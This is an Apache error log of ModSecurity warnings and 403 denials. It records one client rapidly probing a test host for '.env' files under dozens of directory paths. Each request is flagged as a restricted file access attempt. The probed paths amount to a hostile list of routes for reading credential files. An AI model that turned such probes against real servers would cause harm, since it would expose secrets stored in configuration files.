[Mon Jul 28 20:46:18.669322 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /services/simcore/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/simcore/.env&quot;] [unique_id &quot;aIfFeuXeAg5fi4n6U5fNkQAAAAQ&quot;]
[Mon Jul 28 20:46:18.669513 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/simcore/.env&quot;] [unique_id &quot;aIfFeuXeAg5fi4n6U5fNkQAAAAQ&quot;]
[Mon Jul 28 20:46:18.669675 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/simcore/.env&quot;] [unique_id &quot;aIfFeuXeAg5fi4n6U5fNkQAAAAQ&quot;]
[Mon Jul 28 20:46:18.691751 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /services/traefik/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/traefik/.env&quot;] [unique_id &quot;aIfFeuXeAg5fi4n6U5fNkgAAAAQ&quot;]
[Mon Jul 28 20:46:18.691938 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/traefik/.env&quot;] [unique_id &quot;aIfFeuXeAg5fi4n6U5fNkgAAAAQ&quot;]
[Mon Jul 28 20:46:18.692095 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/traefik/.env&quot;] [unique_id &quot;aIfFeuXeAg5fi4n6U5fNkgAAAAQ&quot;]
[Mon Jul 28 20:46:18.714463 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /sessions/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/sessions/.env&quot;] [unique_id &quot;aIfFeuXeAg5fi4n6U5fNkwAAAAQ&quot;]
[Mon Jul 28 20:46:18.714693 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/sessions/.env&quot;] [unique_id &quot;aIfFeuXeAg5fi4n6U5fNkwAAAAQ&quot;]
[Mon Jul 28 20:46:18.714868 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/sessions/.env&quot;] [unique_id &quot;aIfFeuXeAg5fi4n6U5fNkwAAAAQ&quot;]
[Mon Jul 28 20:46:18.775828 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /shared/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/shared/.env&quot;] [unique_id &quot;aIfFeuXeAg5fi4n6U5fNlQAAAAQ&quot;]
[Mon Jul 28 20:46:18.776077 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/shared/.env&quot;] [unique_id &quot;aIfFeuXeAg5fi4n6U5fNlQAAAAQ&quot;]
[Mon Jul 28 20:46:18.776264 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/shared/.env&quot;] [unique_id &quot;aIfFeuXeAg5fi4n6U5fNlQAAAAQ&quot;]
[Mon Jul 28 20:46:18.798575 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /shibboleth/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/shibboleth/.env&quot;] [unique_id &quot;aIfFeuXeAg5fi4n6U5fNlgAAAAQ&quot;]
[Mon Jul 28 20:46:18.798808 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/shibboleth/.env&quot;] [unique_id &quot;aIfFeuXeAg5fi4n6U5fNlgAAAAQ&quot;]
[Mon Jul 28 20:46:18.798993 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/shibboleth/.env&quot;] [unique_id &quot;aIfFeuXeAg5fi4n6U5fNlgAAAAQ&quot;]
[Mon Jul 28 20:46:18.821300 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /shop/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/shop/.env&quot;] [unique_id &quot;aIfFeuXeAg5fi4n6U5fNlwAAAAQ&quot;]
[Mon Jul 28 20:46:18.821509 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/shop/.env&quot;] [unique_id &quot;aIfFeuXeAg5fi4n6U5fNlwAAAAQ&quot;]
[Mon Jul 28 20:46:18.821692 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/shop/.env&quot;] [unique_id &quot;aIfFeuXeAg5fi4n6U5fNlwAAAAQ&quot;]
[Mon Jul 28 20:46:18.843871 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /shopware/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/shopware/.env&quot;] [unique_id &quot;aIfFeuXeAg5fi4n6U5fNmAAAAAQ&quot;]
[Mon Jul 28 20:46:18.844096 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/shopware/.env&quot;] [unique_id &quot;aIfFeuXeAg5fi4n6U5fNmAAAAAQ&quot;]
[Mon Jul 28 20:46:18.844254 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/shopware/.env&quot;] [unique_id &quot;aIfFeuXeAg5fi4n6U5fNmAAAAAQ&quot;]
[Mon Jul 28 20:46:19.045306 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /site-library/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site-library/.env&quot;] [unique_id &quot;aIfFewLZGLzAXRzMJrelcAAAAAg&quot;]
[Mon Jul 28 20:46:19.045542 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site-library/.env&quot;] [unique_id &quot;aIfFewLZGLzAXRzMJrelcAAAAAg&quot;]
[Mon Jul 28 20:46:19.045722 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site-library/.env&quot;] [unique_id &quot;aIfFewLZGLzAXRzMJrelcAAAAAg&quot;]
[Mon Jul 28 20:46:19.074922 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /sitemaps/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/sitemaps/.env&quot;] [unique_id &quot;aIfFewLZGLzAXRzMJrelcQAAAAg&quot;]
[Mon Jul 28 20:46:19.075146 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/sitemaps/.env&quot;] [unique_id &quot;aIfFewLZGLzAXRzMJrelcQAAAAg&quot;]
[Mon Jul 28 20:46:19.075317 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/sitemaps/.env&quot;] [unique_id &quot;aIfFewLZGLzAXRzMJrelcQAAAAg&quot;]
[Mon Jul 28 20:46:19.104703 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /sites/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/sites/.env&quot;] [unique_id &quot;aIfFewLZGLzAXRzMJrelcgAAAAg&quot;]
[Mon Jul 28 20:46:19.104938 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/sites/.env&quot;] [unique_id &quot;aIfFewLZGLzAXRzMJrelcgAAAAg&quot;]
[Mon Jul 28 20:46:19.105124 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/sites/.env&quot;] [unique_id &quot;aIfFewLZGLzAXRzMJrelcgAAAAg&quot;]
[Mon Jul 28 20:46:19.134300 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /sitestatic/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/sitestatic/.env&quot;] [unique_id &quot;aIfFewLZGLzAXRzMJrelcwAAAAg&quot;]
[Mon Jul 28 20:46:19.134617 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/sitestatic/.env&quot;] [unique_id &quot;aIfFewLZGLzAXRzMJrelcwAAAAg&quot;]
[Mon Jul 28 20:46:19.134788 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/sitestatic/.env&quot;] [unique_id &quot;aIfFewLZGLzAXRzMJrelcwAAAAg&quot;]
